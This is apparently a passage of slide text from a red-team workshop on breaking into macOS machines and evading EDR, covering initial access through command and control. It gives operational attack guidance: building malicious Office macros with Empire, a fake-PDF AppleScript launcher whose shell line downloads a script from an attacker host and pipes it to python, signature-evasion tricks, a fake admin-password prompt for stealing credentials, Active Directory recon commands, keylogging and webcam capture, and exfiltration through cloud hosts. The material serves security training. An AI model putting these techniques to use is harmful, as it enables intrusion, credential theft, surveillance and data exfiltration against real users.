  • 18. Commercial in Confidence· www.digitalshadows.com18 • We will practice creating Macro-enabled documents in MS Office • Note: While email filtering gateways may convert or block macro-enabled files, Spearphishing with a Link (T1192) works exceptionally well for delivering a payload to user • Bonus points: use a well-known file locker like Dropbox or Google Drive to host your payload • You may need to zip up your payload to avoid prying eyes Initial Access - Macros
  • 19. Commercial in Confidence· www.digitalshadows.com19 • Generate osx/macro using Empyre • git clone empire • sudo ./setup/install.sh • sudo ./empire • listeners • uselistener http • usestage osx/macro • Modify cmd to include (obfuscated) pupy one-liner • OR • use our Macro template from the USB stick • Pro-tip: • Need to add: Private Declare PtrSafe Function system Lib " /usr/lib/libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) as LongPtr • A defender can block the import of the external library • H/T https://www.slideshare.net/DannyChrastil/pwning-in-the-sandbox-osx-macro-exploitation • Slide 42 Macro creation HOWTO
  • 20. Commercial in Confidence· www.digitalshadows.com20 • Alternatively, use AppleScript as the launcher and use the ScriptEditor to create an Application, H/T TokyoNeon - https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-wit h-applescript-part-2-disguising-script-0184706/ • Host this on a well-known file locker for maximum pwnage • EDR does not have the same sensitivity to AppleScript as PowerShell or JavaScript on Windows • You can try to follow the tutorial on the web page or grab the pre-packaged payload from the USB stick Fake PDF with AppleScript launcher
  • 21. Commercial in Confidence· www.digitalshadows.com21 • The attack uses AppleScript to download and display a decoy PDF & run pupy • do shell script "s=ATTACKER-IP-ADDRESS:PORT; curl -s $s/real.pdf | open -f -a Preview.app & curl -s $s/script | python -" • You need a web server (like python -m SimpleHTTPServer 8080) to serve up the Python script and the decoy PDF • By using tweaked icons and unicode obfuscation tricks it’s possible to make a really convincing fake PDF • Remember to use the string concat trick in your launcher if EDR is present! Fake PDF with AppleScript launcher
  • 22. Commercial in Confidence· www.digitalshadows.com22 Experiment! Generate a malicious macro and/or AppleScript document
  • 23. Commercial in Confidence· www.digitalshadows.com Execution
  • 24. Commercial in Confidence· www.digitalshadows.com24 A mixture of User Execution (T1204) and Scripting (T1064) is an obvious and effective way to gain code execution • Some tricks of the trade: need full file path to call out to the system library now in Office 16+ • Our first EDR detection! Turns out vanilla Empire VBA macro is heavily-signatured by our target EDR system and most likely others - does it get picked up with your EDR system? • It seems any piece of code from the Empire toolset is picked up, not just the launcher Execution
  • 25. Commercial in Confidence· www.digitalshadows.com25 • Bypass required us to go crude: • "If they think you're crude, go technical; if they think you're technical, go crude. I'm a very technical boy. So I decided to get as crude as possible" -- Johnny Mnemonic, William Gibson • Practice stripping out all the "fancy" base64 encoding and executed the pupy python one-liner directly - we've had success with this in the past • If your EDR provider signatures the python one-liner, with the magical powers of string concatenation, we can often bypass the signature • But now in an Office sandbox - complicated as bypasses come and go - even without a bypass, can still cat /etc/passwd undetected however • https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/ [obsolete] • Some people (not me!) have reported success with: • https://github.com/cldrn/macphish/wiki/Abusing-GrantAccessToMultipleFiles Bypassing EDR
  • 26. Commercial in Confidence· www.digitalshadows.com26 • Eggshell worked when executed directly • Plot twist: binaries are not checked when dropped to disk (like traditional AV), but only when they are executed, maybe a surprise to people not familiar with EDR • Fixed now, but the reality of modern EDR is that you can drop a 24/58 VT scored binary onto disk and have it executed without any problems • EvilOSX worked when executed directly • still does...! Although some EDR systems we have tried have detected it Execution continued...
  • 27. Commercial in Confidence· www.digitalshadows.com27 Experiment! Execute payload from document, try Eggshell, EvilOSX, ...
  • 28. Commercial in Confidence· www.digitalshadows.com Credential Access
  • 29. Commercial in Confidence· www.digitalshadows.com29 Any usage of the Empire credential stealers (T1003) gets immediately flagged and blocked (process killed), even from within pupy running in-memory as it drops the stealer to disk • EDR is pretty good at looking for programmatic access to credential stores • We went crude, again, this time with FiveOnceInYourLife (H/T fuzzynop) (T1056) • Let's try it out! • https://github.com/fuzzynop/FiveOnceInYourLife • (needs to be run in a non-sandbox environment) Credential Access
  • 30. Commercial in Confidence· www.digitalshadows.com30 • Command: FOIYL.py • Prompt the user for admin credentials for an update, users are often conditioned to do this with Slack and friends, simple bit of AppleScript triggered by osascript is a) effective & b) undetected • Hey Presto! Local admin creds! FiveOnceInYourLife
  • 31. Commercial in Confidence· www.digitalshadows.com31 Experiment! try FiveOnceInYourLife and/or hashdump
  • 32. Commercial in Confidence· www.digitalshadows.com Discovery
  • 33. Commercial in Confidence· www.digitalshadows.com33 If your target is domain-joined, you’ll want to do some more investigating • The in-scope Macs are all domain-joined and we would like to recon the Active Directory environment, e.g., which groups are available (T1069) and which shares are available (T1135) • Our Windows testing revealed that all our standard net user/net group Active Directory enumeration commands were picked up by the EDR system • We were pleasantly surprised to discover that the MacOS-equivalent commands (dscl and dsconfigad) which return exactly the same information as their Windows cousins were completely undetected! • List all Domain Admins, etc. Discovery
  • 34. Commercial in Confidence· www.digitalshadows.com34 We will not run these commands for real as we will not have an Active Directory environment available, we will review their syntax and go over the expected output • dscl . ls /Users • dscl . read /Users/user.mcuserface • dscl "/Active Directory/ABC/All Domains" ls /Users • dscl "/Active Directory/ABC/All Domains" read /Users/service_account • dscl "/Active Directory/ABC/All Domains" ls /Computers • dscl "/Active Directory/ABC/All Domains" read "/Computers/XYZ" • dscl . ls /Groups • dscl . read "/Groups/powerusers" • dscl "/Active Directory/ABC/All Domains" ls /Groups • dscl "/Active Directory/ABC/All Domains" read "/Groups/ABCDomain Admins" • dsconfigad -show Active Directory recon
  • 35. Commercial in Confidence· www.digitalshadows.com35 EvilOSX has a function to discover the bookmarks stored by the browser which can be helpful for revealing internal information (at least, internal system names), was also undetected Discovery continued
  • 36. Commercial in Confidence· www.digitalshadows.com36 Experiment! Try to steal bookmarks
  • 37. Commercial in Confidence· www.digitalshadows.com Collection
  • 38. Commercial in Confidence· www.digitalshadows.com38 Screen capture (T1113), webcam capture (T1125) and microphone capture (T1123) can all be performed with pupy, EvilOSX and Eggshell • All three types of collection from all three tools were undetected • FIN7, APT28, etc. make extensive use of this form of collection • We will try different types of collection with the various tools Collection
  • 39. Commercial in Confidence· www.digitalshadows.com39 By default pupy comes with a variety of collection scripts (called “gather”) • help -M to list available modules • Just type the name of the module to use it, for example: • screenshot (currently not working on Linux due to a dependency issue) • keylogger (currently not working on MacOS) • users • get_info pupy Collection
  • 40. Commercial in Confidence· www.digitalshadows.com40 Experiment! Explore the different “gather” modules, e.g., keylogger
  • 41. Commercial in Confidence· www.digitalshadows.com Exfiltration
  • 42. Commercial in Confidence· www.digitalshadows.com42 Web Filtering is an issue but whitelists are often overly broad • Our favourites are big name tech firms who also offer cloud hosting, e.g., Amazon AWS, Microsoft Azure, Google Compute Platform, etc. • Very difficult for organizations to differentiate between legit and non-legit data flows to cloud providers • The C2 channel works great in many cases (T1041) Exfiltration
  • 43. Commercial in Confidence· www.digitalshadows.com43 Experiment! Try to exfil a file with pupy
  • 44. Commercial in Confidence· www.digitalshadows.com Command and Control
  • 45. Commercial in Confidence· www.digitalshadows.com45 • HTTPS is an obvious favourite (T1071) • We'll review the different options present in the tools • Self-signed certs will get you caught • Let's Encrypt to the rescue? (Future Work for keen attendees!) • SSL Interception can still catch you out • If you're lucky, the targets will drop off of the corporate network or the VPN Command and Control
  • 46. Commercial in Confidence· www.digitalshadows.com Wrap-up
  • 47. Commercial in Confidence· www.digitalshadows.com47 • True feature parity across platforms is a myth • MacOS is typically underserved by both crossplatform software and security • We got T-shirts, but many questions still remain about EDR effectiveness on MacOS • Going crude: even really basic techniques are enough to get you success • Once you move off of the mainstream offensive toolsets (Empire), there's plenty of options • This workshop has walked you through the tools and processes you can use to break in and out of protected MacOS environments Conclusions